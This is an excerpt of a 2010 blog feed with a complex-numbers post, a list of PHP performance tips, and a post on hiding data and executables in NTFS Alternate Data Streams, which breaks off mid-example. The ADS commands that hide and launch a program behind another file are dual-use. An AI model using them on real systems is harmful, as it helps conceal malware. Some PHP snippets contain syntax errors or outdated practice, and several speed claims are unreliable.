where a and b are real numbers. The sum and product of two such matrices is again of this form, and the product operation on matrices of this form is commutative. Every non-zero matrix of this form is invertible, and its inverse is again of this form. &lt;br /&gt;
&lt;br /&gt;
Therefore, the matrices of this form are a field, isomorphic to the field of complex numbers. Every such matrix can be written as&lt;br /&gt;
&lt;br /&gt;
&lt;blockquote&gt;$\begin{pmatrix}a &amp; -b\\b &amp; a\end{pmatrix} =a\begin{pmatrix}1 &amp; 0\\0 &amp; 1\end{pmatrix}+b\begin{pmatrix}0 &amp; -1\\1 &amp; 0\end{pmatrix}$&lt;br /&gt;
&lt;/blockquote&gt;&lt;br /&gt;
which suggests that we should identify the real number 1 with the identity matrix&lt;br /&gt;
&lt;br /&gt;
&lt;blockquote&gt;$\begin{pmatrix}1 &amp; 0\\0 &amp; 1\end{pmatrix}$&lt;br /&gt;
&lt;/blockquote&gt;&lt;br /&gt;
and the imaginary unit $i$ with&lt;br /&gt;
&lt;br /&gt;
&lt;blockquote&gt;$\begin{pmatrix}0 &amp; -1\\1 &amp; 0\end{pmatrix}$&lt;br /&gt;
&lt;/blockquote&gt;&lt;br /&gt;
a counter-clockwise rotation by 90 degrees. Note that the square of this latter matrix is indeed equal to the 2x2 matrix that represents -1.&lt;br /&gt;
&lt;br /&gt;
The square of the absolute value of a complex number expressed as a matrix is equal to the determinant  of that matrix.&lt;br /&gt;
&lt;br /&gt;
&lt;blockquote&gt;$|z|^2 = det\; \left( \begin{array}{c c}a &amp; -b\\b &amp; a\end{array}\right) = (a^2) - ((-b)(b)) = a^2 + b^2$&lt;br /&gt;
&lt;/blockquote&gt;&lt;br /&gt;
&lt;h2&gt;References&lt;/h2&gt;&lt;br /&gt;
&lt;p&gt;Stapel, Elizabeth. "Complex Numbers &amp; The Quadratic Formula." Purplemath. Available from http://www.purplemath.com/modules/complex3.htm. Accessed 28 April 2010&lt;/p&gt;&lt;br /&gt;
&lt;p&gt;Complex Numbers. Wikipedia. Available from http://en.wikipedia.org/wiki/Complex_number. Accessed 28 April 2010&lt;/p&gt;&lt;script type="text/javascript" src="http://cdn.mathjax.org/mathjax/latest/MathJax.js"&gt;
MathJax.Hub.Config({
    delayStartupUntil: "onload",
    jax: ["input/MathML", "input/TeX", "output/HTML-CSS"],
    extensions: ["tex2jax.js","TeX/noErrors.js"],
    tex2jax: {
      inlineMath: [['$','$']]
    },
});
&lt;/script&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3644149452090630665-1088667151016690420?l=www.think-techie.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/t7zXvQPTSEYly02hx_lm1rVv1YA/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/t7zXvQPTSEYly02hx_lm1rVv1YA/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/t7zXvQPTSEYly02hx_lm1rVv1YA/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/t7zXvQPTSEYly02hx_lm1rVv1YA/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;</content><link rel="replies" type="application/atom+xml" href="http://www.think-techie.com/feeds/1088667151016690420/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=3644149452090630665&amp;postID=1088667151016690420" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/3644149452090630665/posts/default/1088667151016690420?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/3644149452090630665/posts/default/1088667151016690420?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/ThinkTechie/~3/566U6T-woRA/complex-numbers-for-dummies.html" title="Complex Numbers for Dummies" /><author><name>Bruno Simões</name><uri>https://profiles.google.com/110821408735197982407</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="32" src="//lh3.googleusercontent.com/-fyBL72qXHek/AAAAAAAAAAI/AAAAAAAALhM/hwxLIDUhRgg/s512-c/photo.jpg" /></author><thr:total>0</thr:total><feedburner:origLink>http://www.think-techie.com/2010/04/complex-numbers-for-dummies.html</feedburner:origLink></entry><entry gd:etag="W/&quot;DkcFRH06eCp7ImA9WhZXEks.&quot;"><id>tag:blogger.com,1999:blog-3644149452090630665.post-6464994018006808676</id><published>2010-04-14T18:24:00.025+02:00</published><updated>2011-05-01T17:33:35.310+02:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2011-05-01T17:33:35.310+02:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="Programming" /><category scheme="http://www.blogger.com/atom/ns#" term="Tips and Tricks" /><category scheme="http://www.blogger.com/atom/ns#" term="Internet" /><title>PHP Web Development Tips and Tricks</title><content type="html">&lt;div style="text-align:justify" class="tex2jax_ignore"&gt;There are a number of tricks that can make your life easier and help you to squeeze the last bit of performance from your scripts. These tricks won't make your web applications much faster, but can give you that little edge in performance you may be looking for. More importantly it may give you insight into how &lt;a href="http://php.net" rel="nofollow"&gt;PHP&lt;/a&gt; internals works allowing you to write code that can be executed in more optimal fashion by the Zend Engine. &lt;br /&gt;
&lt;br /&gt;
&lt;h3&gt;1. Static methods&lt;/h3&gt;If a &lt;b&gt;method&lt;/b&gt; can be declared &lt;b&gt;static&lt;/b&gt;, declare it static. Speed improvement is by a &lt;b&gt;factor of 4&lt;/b&gt;. &lt;br /&gt;
&lt;br /&gt;
&lt;h3&gt;2. echo() vs. print() &lt;/h3&gt;Even both of these output mechanism are language constructs, if you benchmark the two you will quickly discover that &lt;b&gt;print() is slower&lt;/b&gt; then echo(). The reason for that is quite simple, print function will return a status indicating if it was successful or not (note: it does not return the size of the string), while echo simply print the text and nothing more. Since in most cases this status is not necessary and is almost never used it is pointless and simply adds unnecessary overhead.&lt;br /&gt;
&lt;pre class="c#" name="code"&gt;echo( 'Hello World' );  
// is better than  
print( 'Hello World' );  
&lt;/pre&gt;&lt;br /&gt;
&lt;h3&gt;3. echo&amp;#39;s multiple parameters&lt;/h3&gt;Use echo&amp;#39;s &lt;b&gt;multiple parameters&lt;/b&gt; instead of &lt;b&gt;string concatenation&lt;/b&gt;. It's faster.&lt;br /&gt;
&lt;pre class="c#" name="code"&gt;echo 'Hello', ' ', 'World';  
// is better than  
echo 'Hello' . ' ' . 'World'; 
&lt;/pre&gt;&lt;a href="http://blog.libssh2.org/index.php?/archives/28-How-long-is-a-piece-of-string.html" rel="nofollow" target="_blank"&gt;Read more...&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;h3&gt;4. Avoid the use of printf&lt;/h3&gt;Using &lt;b&gt;printf() is slow&lt;/b&gt; for multitude of reasons and I would strongly discourage it's usage unless you absolutely need to use the functionality this function offers. Unlike print and echo printf() is a function with associated function execution overhead. More over printf() is designed to support various formatting schemes that for the most part are not needed in a language that is typeless and will automatically do the necessary type conversions. To handle formatting printf() needs to scan the specified string for special formatting code that are to be replaced with variables. As you can probably imagine that is quite slow and rather inefficient.&lt;br /&gt;
&lt;pre class="c#" name="code"&gt;echo 'Result:', $result;  
// is better than  
printf( "Result: %s", $result );  
&lt;/pre&gt;&lt;br /&gt;
&lt;h3&gt;5. Single quotes vs. double quotes&lt;/h3&gt;In PHP there is a difference when using either single or double quotes, either ‘ or “. If you use double quotes ” then you are telling the code to check for a variable. If you are using single quotes ‘ then you are telling it to print whatever is between them. This might seem a bit trivial, but if you use the double quotes instead of the single quotes, it will still output correctly, but you will be wasting processing time.&lt;br /&gt;
&lt;pre class="c#" name="code"&gt;echo &amp;#39;Result: &amp;#39; . $var;  
// is better than  
echo &amp;quot;Result: $var&amp;quot;;
&lt;/pre&gt;Even the use of sprintf instead of &lt;b&gt;variables contained in double quotes&lt;/b&gt;, it’s about &lt;b&gt;10x faster&lt;/b&gt;.&lt;br /&gt;
&lt;br /&gt;
&lt;a href="http://spindrop.us/2007/03/03/php-double-versus-single-quotes/" rel="nofollow" target="_blank"&gt;Read more...&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;h3&gt;6. Methods in derived classes vs. base classes&lt;/h3&gt;Methods in &lt;b&gt;derived classes&lt;/b&gt; run faster than ones defined in the &lt;b&gt;base class&lt;/b&gt;.&lt;br /&gt;
&lt;br /&gt;
&lt;h3&gt;7. Accessing arrays&lt;/h3&gt;e.g. $row['id'] is &lt;b&gt;7 times faster&lt;/b&gt; than $row[id]&lt;br /&gt;
&lt;br /&gt;
&lt;h3&gt;8. Do not implement every data structure as a class&lt;/h3&gt;Not everything has to be OOP, often it is too much overhead, each method and object call consumes a lot of memory. For this reason, do not implement every data structure as a class, arrays are useful, too.&lt;br /&gt;
&lt;br /&gt;
&lt;h3&gt;9. Avoid functions inside loops&lt;/h3&gt;Try to use functions outside loops. Otherwise the function may get called each time. &lt;br /&gt;
&lt;pre class="c#" name="code"&gt;// e.g. In PHP for loop with a count() inside the control 
// block will be executed on EVERY loop iteration. 
$max = count( $array );  
for( $i = 0; $i &amp;lt; $max; $i++ )  
{  
    // do something  
}  
  
// is better than  
  
for( $i = 0; $i &amp;lt; count( $array ); $i++ )  
{  
    // do something  
}
&lt;/pre&gt;It's even faster if you eliminate the call to count() AND the explicit use of the counter by using a foreach loop in place of the for loop.&lt;br /&gt;
&lt;pre class="c#" name="code"&gt;foreach ($array as $i) {
    // do something  
}
&lt;/pre&gt;&lt;br /&gt;
&lt;a href="http://derekgallo.com/2007/04/19/for-vs-foreach/" rel="nofollow" target="_blank"&gt;Read more...&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
Note: A &lt;b&gt;function call with one parameter&lt;/b&gt; and an &lt;b&gt;empty function body&lt;/b&gt; takes about the same time as doing &lt;b&gt;7-8 $localvar++ operations&lt;/b&gt;. A similar method call is of course about &lt;b&gt;15 $localvar++ operations&lt;/b&gt;.&lt;br /&gt;
&lt;br /&gt;
&lt;h3&gt;10. ?&amp;gt; &amp;lt;?&lt;/h3&gt;When you need to output a large or even a medium sized static bit of text it is faster and simpler to put it outside the of PHP. This will make the PHP's parser effectively skipover this bit of text and output it as is without any overhead. You should be careful however and not use this for many small strings in between PHP code as multiple context switches between PHP and plain text will ebb away at the performance gained by not having PHP print the text via one of it's functions or constructs.&lt;br /&gt;
&lt;br /&gt;
&lt;h3&gt;11. isset instead of strlen&lt;/h3&gt;When working with strings and you need to check that the string is either of a certain length you'd understandably would want to use the strlen() function. This function is pretty quick since it's operation does not perform any calculation but merely return the already known length of a string available in the zval structure (internal C struct used to store variables in PHP). However because strlen() is a function it is still somewhat slow because the function call requires several operations such as lowercase &amp; hashtable lookup followed by the execution of said function. In some instance you can improve the speed of your code by using a isset() trick.&lt;br /&gt;
&lt;pre class="c#" name="code"&gt;if (!isset($foo{5})) { echo &amp;quot;Foo is too short&amp;quot;; }
// is better than
if (strlen($foo) &amp;lt; 5) { echo &amp;quot;Foo is too short&amp;quot;; }
&lt;/pre&gt;Calling isset() happens to be faster then strlen() because unlike strlen(), isset() is a language construct and not a function meaning that it's execution does not require function lookups and lowercase. This means you have virtually no overhead on top of the actual code that determines the string's length.&lt;br /&gt;
&lt;br /&gt;
&lt;h3&gt;12. true is faster than TRUE &lt;/h3&gt;This is because when looking for constants PHP does a hash lookup for name as is. And since names are always stored lowercased, by using them you avoid 2 hash lookups. Furthermore, by using 1 and 0 instead of TRUE and FALSE, can be considerably faster.&lt;br /&gt;
&lt;br /&gt;
&lt;h3&gt;13. Incrementing or decrementing the value of the variable&lt;/h3&gt;When incrementing or decrementing the value of the variable $i++ happens to be a tad slower then ++$i. This is something PHP specific and does not apply to other languages. ++$i happens to be faster in PHP because instead of 4 opcodes used for $i++ you only need 3. Post incrementation actually causes in the creation of a temporary var that is then incremented. While pre-incrementation increases the original value directly. This is one of the optimization that opcode optimized like Zend's PHP optimizer. It is a still a good idea to keep in mind since not all opcode optimizers perform this optimization and there are plenty of ISPs and servers running without an opcode optimizer. &lt;br /&gt;
&lt;br /&gt;
Additionally,&lt;br /&gt;
&lt;br /&gt;
1. Incrementing a &lt;b&gt;local variable in a method&lt;/b&gt; is the fastest. Nearly the same as calling a &lt;b&gt;local variable in a function&lt;/b&gt;. &lt;br /&gt;
&lt;br /&gt;
2. Incrementing a &lt;b&gt;global variable&lt;/b&gt; is &lt;b&gt;2 times slower&lt;/b&gt; than a &lt;b&gt;local variable&lt;/b&gt;. &lt;br /&gt;
&lt;br /&gt;
3. Incrementing an &lt;b&gt;object property&lt;/b&gt; (eg. $this-&gt;prop++) is &lt;b&gt;3 times slower&lt;/b&gt; than a &lt;b&gt;local variable&lt;/b&gt;. &lt;br /&gt;
&lt;br /&gt;
4. Incrementing an &lt;b&gt;undefined local variable&lt;/b&gt; is &lt;b&gt;9-10 times slower&lt;/b&gt; than a &lt;b&gt;pre-initialized one&lt;/b&gt;. &lt;br /&gt;
&lt;br /&gt;
&lt;a href="http://www.php.lt/benchmark/phpbench.php" rel="nofollow" target="_blank"&gt;Read more ... &lt;/a&gt;and &lt;a href="http://phplens.com/lens/php-book/optimizing-debugging-php.php" rel="nofollow" target="_blank"&gt;more...&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;h3&gt;14. Replace regex calls with ctype extension, if possible&lt;/h3&gt;Many scripts tend to reply on regular expression to validate the input specified by user. While validating input is a superb idea, doing so via regular expression can be quite slow. In many cases the process of validation merely involved checking the source string against a certain character list such as A-Z or 0-9, etc... Instead of using regex in many instances you can instead use the ctype extension (enabled by default since PHP 4.2.0) to do the same. The ctype extension offers a series of function wrappers around C's is*() function that check whether a particular character is within a certain range. Unlike the C function that can only work a character at a time, PHP function can operate on entire strings and are far faster then equivalent regular expressions.&lt;br /&gt;
&lt;pre class="c#" name="code"&gt;ctype_digit($foo);
// is better than
preg_match("![0-9]+!", $foo);
&lt;/pre&gt;&lt;br /&gt;
&lt;h3&gt;15. isset vs. in_array and array_key_exists&lt;/h3&gt;Another common operation in PHP  scripts is array searching. This process can be quite slow as regular search mechanism such as in_array() or manual implementation work by iterating through the entire array. This can be quite a performance hit if you are searching through a large array or need to perform the searches frequently. So what can you do? Well, you can do a trick that relies upon the way that Zend Engine stores array data. Internally arrays are stored inside hash tables when they array element (key) is the key of the hashtables used to find the data and result is the value associated with that key. Since hashtable lookups are quite fast, you can simplify array searching by making the data you intend to search through the key of the array, then searching for the data is as simple as $value = isset($foo[$bar])) ? $foo[$bar] : NULL;. This searching mechanism is way faster then manual array iteration, even though having string keys maybe more memory intensive then using simple numeric keys.&lt;br /&gt;
&lt;pre class="c#" name="code"&gt;$keys = array(&amp;quot;apples&amp;quot;=&amp;gt;1, &amp;quot;oranges&amp;quot;=&amp;gt;1, &amp;quot;mangoes&amp;quot;=&amp;gt;1);
if (isset($keys[&amp;#39;mangoes&amp;#39;])) { ... }

// is roughly 3 times faster then

$keys = array(&amp;quot;apples&amp;quot;, &amp;quot;oranges&amp;quot;, &amp;quot;mangoes&amp;quot;);
if (in_array(&amp;#39;mangoes&amp;#39;, $keys)) { ... }

// isset is also faster then
if(array_key_exists(&amp;#39;mangoes&amp;#39;, $keys)) { ... }
&lt;/pre&gt;Note: However the lookup times don't diverge until you've got a very considerable amount of data in your array. e.g. If you have just 2-3 entries in your array, it will take more time to hash the values and perform the lookup than it would take to perform a simple linear search ( O( n ) vs. O( log n ) ) &lt;br /&gt;
&lt;br /&gt;
&lt;h3&gt;16. Free unnecessary memory&lt;/h3&gt;Unset your variables to free memory, especially large arrays.&lt;br /&gt;
&lt;br /&gt;
&lt;h3&gt;17. Specify full paths&lt;/h3&gt;Use full paths in includes and requires, less time spent on resolving the OS paths. &lt;br /&gt;
&lt;pre class="c#" name="code"&gt;include( '/var/www/html/your_app/database.php' );  
//is better than  
include( 'database.php' ); 
&lt;/pre&gt;&lt;a href="http://t3.dotgnu.info/blog/php/include_once-mostly-harmless.html" rel="nofollow" target="_blank"&gt;Read more...&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;h3&gt;18. regex vs. strncasecmp, strpbrk and stripos&lt;/h3&gt;See if you can use strncasecmp, strpbrk and stripos instead of regex, since regex is usually slower.&lt;br /&gt;
&lt;br /&gt;
&lt;h3&gt;19. str_replace vs. preg_replace vs. strtr&lt;/h3&gt;The &lt;b&gt;str_replace is better&lt;/b&gt; than &lt;b&gt;preg_replace&lt;/b&gt;, but &lt;b&gt;strtr&lt;/b&gt; is &lt;b&gt;better than str_replace&lt;/b&gt; by a &lt;b&gt;factor of 4&lt;/b&gt;.&lt;br /&gt;
&lt;br /&gt;
&lt;h3&gt;20. select vs. multi if and else if statements&lt;/h3&gt;It’s better to use select statements than multi if, else if statements. &lt;br /&gt;
&lt;pre class="c#" name="code"&gt;switch( $name )
  {
   case 'aaa':
   // do something
   break;

   case 'bbb':
   // do something
   break;

   case 'ccc':
   // do something
   break;

   default:
   // do something
   break;
  }

  // is better than

  if( $name == 'aaa' )
  {
   // do something
  }
  else if( $name == 'bbb' )
  {
   // do something
  }
  else if( $name == 'ccc' )
  {
   // do something
  }
  else
  {
   // do something
  }

&lt;/pre&gt;&lt;a href="http://www.php.lt/benchmark/phpbench.php" rel="nofollow" target="_blank"&gt;Read more...&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;h3&gt;21. Error suppression with @ is very slow&lt;/h3&gt;&lt;pre class="c#" name="code"&gt;$name = isset( $id ) : 'aaa' : NULL;  
//is better than  
$name = @'aaa'; 
&lt;/pre&gt;&lt;br /&gt;
&lt;h3&gt;22. Boolean Inversion&lt;/h3&gt;Most of the time, inverting a boolean value is as simple as using the logical ‘not’ operator e.g. false = !true. That’s easy enough, but occasionally you might find yourself working with integer-type booleans instead, with 1s and 0s in the place of true and false; in that case, here’s a short PHP snippet that does the same thing:&lt;br /&gt;
&lt;pre class="c#" name="code"&gt;$true = 1;
$false = 1 - $true;
$true = 1 - $false;
&lt;/pre&gt;The same principle can be used any time you want to toggle an integer between two values e.g. between 2 and 5:&lt;br /&gt;
&lt;pre class="c#" name="code"&gt;$val = 5;
$val = 7 - $val; // now it&amp;#39;s 2...
$val = 7 - $val; // and now it&amp;#39;s 5 again
&lt;/pre&gt;&lt;br /&gt;
&lt;h3&gt;23. isset($var, $var, …)&lt;/h3&gt;Useful little thing, this - you can check the state of multiple variables within a single PHP isset() construct, like so:&lt;br /&gt;
&lt;pre class="c#" name="code"&gt;$foo = $bar = &amp;#39;are set&amp;#39;;
isset($foo, $bar); // true
isset($foo, $bar, $baz); // false
isset($baz, $foo, $bar); // false
&lt;/pre&gt;On a related note, in case you’re not already aware of this, isset actually sees null as being not set:&lt;br /&gt;
&lt;pre class="c#" name="code"&gt;$list = array(&amp;#39;foo&amp;#39; =&amp;gt; &amp;#39;set&amp;#39;, &amp;#39;bar&amp;#39; =&amp;gt; null);
isset($list[&amp;#39;foo&amp;#39;]); // true, as expected
isset($list[&amp;#39;bar&amp;#39;]); // false!
&lt;/pre&gt;In situations like the above, it’s more reliable to use array_key_exists().&lt;br /&gt;
&lt;br /&gt;
&lt;h3&gt;24. Modulus Operator&lt;/h3&gt;During a loop, it’s a fairly common need to perform a specific routine every n-th iteration. The modulus operator is extremely helpful here - it’ll divide the first operand by the second and return the remainder, to create a useful, cyclic sequence:&lt;br /&gt;
&lt;pre class="c#" name="code"&gt;for ($i = 0; $i &amp;lt; 10; ++$i)
{
    echo $i % 4, &amp;#39; &amp;#39;;
}
// outputs 0 1 2 3 0 1 2 3 0 1
&lt;/pre&gt;&lt;br /&gt;
&lt;h3&gt;25. http_build_query&lt;/h3&gt;This function turns a native array into a nicely-encoded query string. Furthermore, this native function is configurable and fully supports nested arrays.&lt;br /&gt;
&lt;br /&gt;
&lt;h3&gt;26. &amp;lt;input name=&amp;quot;foo[bar]&amp;quot; /&amp;gt;&lt;/h3&gt;HTML + PHP are quite capable of handling form fields as arrays. This one’s particularly helpful when dealing with multiple checkboxes since the selected values can be automatically pushed into an indexed (or associative) array, rather than having to capture them yourself.&lt;br /&gt;
&lt;br /&gt;
&lt;h3&gt;27. get_browser()&lt;/h3&gt;Easily get your hands on the users browser-type. Some leave this process to the browser end but can be useful to get this info server side.&lt;br /&gt;
&lt;br /&gt;
&lt;h3&gt;28. debug_print_backtrace()&lt;/h3&gt;I use this one a lot, print a debug-style list of what was called to get the the point where this function is called.&lt;br /&gt;
&lt;br /&gt;
&lt;h3&gt;29. Automatic optimization for your database&lt;/h3&gt;Just like you need to defrag and check your file system, it’s important to do the same thing with SQL tables. If you don’t, you might end up with slow and corrupted database tables. &lt;br /&gt;
&lt;br /&gt;
Furthermore, you will probably add and delete tables from time to time. Therefore, you want a solution that works no matter how your &lt;a href="http://www.iflexion.com/services/database_development.php"&gt;database&lt;/a&gt; looks like. For this, you can use this PHP script that finds all your tables, and then perform Optimize on every single one. Then a good idea can be to do this every night (or whenever your server is least accessed) with “cron” because you don’t want to delay your surfers to much.&lt;br /&gt;
&lt;pre class="c#" name="code"&gt;dbConnect()
$tables = mysql_query(&amp;quot;SHOW TABLES&amp;quot;);

while ($table = mysql_fetch_assoc($tables))
{
   foreach ($table as $db =&amp;gt; $tablename)
   {
       mysql_query(&amp;quot;OPTIMIZE TABLE &amp;#39;&amp;quot;.$tablename.&amp;quot;&amp;#39;&amp;quot;)
           or die(mysql_error());
   }
}
&lt;/pre&gt;&lt;br /&gt;
&lt;h3&gt;30. require() vs. require_once()&lt;/h3&gt;Use require() instead of require_once() where possible. &lt;br /&gt;
&lt;br /&gt;
&lt;a href="http://peter.mapledesign.co.uk/weblog/archives/writing-faster-php-code-1-require_once" rel="nofollow" target="_blank"&gt;Read more...&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;h3&gt;31. Check System Calls&lt;/h3&gt;A common mistake with Apache&lt;br /&gt;
&lt;pre class="c#" name="code"&gt;/usr/sbin/apache2 -X &amp;amp;
strace -p 16367 -o sys1.txt 
grep stat sys1.txt | grep -v fstat | wc -l
...
index.html (No such file or directory)
index.cgi  (No such file or directory)
index.pl   (No such file or directory)
index.php ...
&lt;/pre&gt;Fix DirectoryIndex&lt;br /&gt;
&lt;pre class="c#" name="code"&gt;&amp;lt;Directory /var/www&amp;gt;
    DirectoryIndex index.php
&amp;lt;/Directory&amp;gt;
&lt;/pre&gt;&lt;br /&gt;
&lt;h3&gt;32. Secure HTTP connections&lt;/h3&gt;You can force a secure HTTP connection using the following code,&lt;br /&gt;
&lt;pre class="c#" name="code"&gt;if (!($HTTPS == "on")) {
   header ("Location: https://$SERVER_NAME$php_SELF");
   exit;
}
&lt;/pre&gt;&lt;br /&gt;
&lt;h3&gt;References&lt;/h3&gt;[1] Here it is. 8 randomly useful PHP tricks. http://theresmystuff.com, 2010.&lt;br /&gt;
&lt;br /&gt;
[2] TJS. 5 useful (PHP) tricks and functions you may not know. http://www.tjs.co.uk, 2010.&lt;br /&gt;
&lt;br /&gt;
[3] Checkmate - Play with problems. Optimize your PHP Code - Tips, Tricks and Techniques. http://abcphp.com, 2008.&lt;br /&gt;
&lt;br /&gt;
[4] iBlog - Ilia Alshanetsky. PHP Optimization Tricks. http://ilia.ws, 2004.&lt;br /&gt;
&lt;br /&gt;
&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3644149452090630665-6464994018006808676?l=www.think-techie.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/e5bHYocmXp7uQuWhMzrVZYwcUUA/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/e5bHYocmXp7uQuWhMzrVZYwcUUA/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/e5bHYocmXp7uQuWhMzrVZYwcUUA/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/e5bHYocmXp7uQuWhMzrVZYwcUUA/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;</content><link rel="replies" type="application/atom+xml" href="http://www.think-techie.com/feeds/6464994018006808676/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=3644149452090630665&amp;postID=6464994018006808676" title="5 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/3644149452090630665/posts/default/6464994018006808676?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/3644149452090630665/posts/default/6464994018006808676?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/ThinkTechie/~3/bcsyzdndwWQ/php-web-development-tips-and-tricks.html" title="PHP Web Development Tips and Tricks" /><author><name>Bruno Simões</name><uri>https://profiles.google.com/110821408735197982407</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="32" src="//lh3.googleusercontent.com/-fyBL72qXHek/AAAAAAAAAAI/AAAAAAAALhM/hwxLIDUhRgg/s512-c/photo.jpg" /></author><thr:total>5</thr:total><feedburner:origLink>http://www.think-techie.com/2010/04/php-web-development-tips-and-tricks.html</feedburner:origLink></entry><entry gd:etag="W/&quot;CkYMSH06eSp7ImA9WxFXE0s.&quot;"><id>tag:blogger.com,1999:blog-3644149452090630665.post-8860731387365569757</id><published>2010-04-09T19:50:00.013+02:00</published><updated>2010-05-20T14:56:29.311+02:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2010-05-20T14:56:29.311+02:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="Security" /><title>Alternate Data Streams</title><content type="html">&lt;div style="text-align:justify"&gt;Ever since Windows 2000, the NTFS file system in Windows has supported &lt;a href="http://msdn.microsoft.com/en-us/library/aa364056.aspx" rel="nofollow"&gt;Alternate Data Streams&lt;/a&gt;, which allow you to store data “behind” a filename with the use of a stream name.&lt;br /&gt;
&lt;br /&gt;
This isn't a well known feature and was included, primarily, to provide compatibility with files in the Macintosh file system. Alternate data streams allow files to contain more than one stream of data. Every file has at least one data stream. In Windows, this default data stream is called :$DATA. &lt;br /&gt;
&lt;br /&gt;
Windows Explorer doesn't provide a way of seeing what alternate data streams are in a file but they can be created and accessed easily. Because they are difficult to find they are often used by hackers to hide files on machines that they've compromised (perhaps files for a root-kit). Executables in alternate data streams can be executed from the command line and they will not show up in Windows Explorer (or the Console).&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;How to write data to hidden streams&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
You can add data to a hidden stream by using any command that can pipe input or output and accept the standard &lt;i&gt;FileName:StreamName&lt;/i&gt; syntax. You may also use some text editors such as Notepad.&lt;br /&gt;
&lt;br /&gt;
Here, the &lt;i&gt;StreamName&lt;/i&gt; can be seen as a secret word. If you plan to use notepad remember that &lt;i&gt;StreamName&lt;/i&gt; must have the extension on the end, e.g. secretword.txt, secretword.exe.&lt;br /&gt;
&lt;br /&gt;
For instance, let's use the &lt;i&gt;echo&lt;/i&gt; command and use the data stream name &lt;i&gt;todo.txt&lt;/i&gt; for compatibility with notepad.&lt;br /&gt;
&lt;pre class="c#" name="code"&gt;echo Important - Kiss the girl next door tomorrow 
&amp;gt; library.txt:todo.txt
&lt;/pre&gt;You can add whatever other information to this file that you’d like.&lt;br /&gt;
If you prefer to use notepad you can use the following command:&lt;br /&gt;
&lt;pre class="c#" name="code"&gt;notepad.exe library.txt:todo.txt
&lt;/pre&gt;Remember that if you didn’t specify the extension on the end, Notepad will automatically add it, and ask if you want to create a new file, even if &lt;i&gt;library.txt&lt;/i&gt; already existed, this because &lt;i&gt;todo.txt&lt;/i&gt; doesn’t exist.&lt;br /&gt;
&lt;br /&gt;
You can use the command line again to add a second hidden “compartment” with a different name:&lt;br /&gt;
&lt;pre class="c#" name="code"&gt;echo think-techie.com is really cool &amp;gt; library.txt:secrets.txt
&lt;/pre&gt;If you check your filesystem you will find only one empty file called &lt;i&gt;library.txt&lt;/i&gt; with zero bytes (because the file is empty and the file size corresponds always to this default data stream, &lt;i&gt;:$DATA&lt;/i&gt;). You can even open up the file by double-clicking on it, and add whatever data you want to make the file look normal.&lt;br /&gt;
&lt;br /&gt;
You can even do something more cool like this:&lt;br /&gt;
&lt;pre class="c#" name="code"&gt;C:\&amp;gt; type C:\windows\system32\notepad.exe &amp;gt; c:\windows\system32\calc.exe:notepad.exe
C:\&amp;gt; start c:\windows\system32\calc.exe:notepad.exe
&lt;/pre&gt;With similar commands you can hide also applications.&lt;br /&gt;
&lt;br /&gt;
&lt;i&gt;Notes&lt;/i&gt;:&lt;br /&gt;
&lt;ol&gt;&lt;li&gt;None of these hidden files will affect the other, or change the main file.&lt;/li&gt;
&lt;li&gt;You have to use the command line to access the hidden data.&lt;/li&gt;
&lt;li&gt;You can’t copy your file to another location and access the streams over there.&lt;/li&gt;
&lt;/ol&gt;&lt;br /&gt;
&lt;b&gt;Reading a Stream&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
You can read data from the stream by piping data into the &lt;i&gt;more&lt;/i&gt; command or by using notepad, with the following syntax:&lt;br /&gt;
&lt;pre class="c#" name="code"&gt;more &amp;lt; FileName:StreamName
&lt;/pre&gt;or &lt;br /&gt;
&lt;pre class="c#" name="code"&gt;notepad.exe FileName:StreamName
&lt;/pre&gt;For instance,&lt;br /&gt;
&lt;pre class="c#" name="code"&gt;notepad.exe library.txt:todo.txt
